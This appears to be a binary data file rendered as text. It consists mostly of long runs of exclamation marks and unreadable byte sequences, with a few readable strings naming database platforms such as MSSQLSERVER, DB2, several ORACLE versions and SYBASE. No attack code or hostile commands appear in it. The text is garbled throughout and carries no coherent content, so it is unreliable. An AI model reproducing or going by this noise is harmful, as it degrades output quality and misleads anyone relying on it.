!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`
ZT
.˪^8!!!!`mB:v!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!~o`9~ U*
t9F9x.PFvMI9]!F	-)9&m1Fu9&m1F9_2F	"9_2F\^93F94Fhk9 |F79"j8F9+9#j8B9$j8B9&9F!D9'9B9(':F	9)':F9+(CFU9,(CB9-(CB9.(CBms90ADBr"%91ADB &92FF93FF
95~HFXP97)?KFD^98)?KF99)?KF(%9:bcLFw09;eQF\9=XF# 9>XB9@+\F
9Bd]F
,9Cd]F9E7_F9G\`F9H\`B	9JHaFV9KHaF9MȃcF>9NȃcF9PwdF
9R,leB#"9Se5`fF
9Tw!F9Uw!F9V֣Fog9W\F!9X\F9Ye!F9Z$F
9[zF/!9\]($F9]'F/9^aV/8w"9_~<F'$9`AF	r (9a*eHFc9b*BKFu!$9cbF4l19dbF28/59e9KF4l19f9KF28/59gN]?	FRI9hZF
QE9i
I)9j" F@9k5&F'*$'9l,)F9o,B?")9p,F 9qT<F* 9rT<B9sI>F	5#
9tI>B 9uwBF<	$9vwBB9wwBB
9xUGTEF	/9y0HFZ9z 
KF
+9{ 
KB	9|VM69}O9~:Q09:QB	9:QB#9fS'$9rWF

59@[Y(
=9=ykQ9=ykF 9Z>p7$9Z>pF 9Z>pF9sF^<9\1iF] 9
F*_[9
F9'F
B59'F9Dڎ'Fm $9Dڎ'F	9ҕ;F
bX9Z@F+$9J~[FM 9.^?<9eB 9eF9eF	9eB9PjB!9PjF9PjF	9PjB9)zF[S9ro|B_9ro|F_9KFB9KF9P"F	9P"F9mRF
9mRF9ҕ;Fh*p2x:BJRZb$j,r4z<DLT\d&l.

t
6
|>F

N

		V		^ f(n0v8~@H
PX`U0]נp%MSSQLSERVER<pDB2ipORACLE}pORACLE8pORACLE9p!ORACLE10p!ORACLE11pSYBASE!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!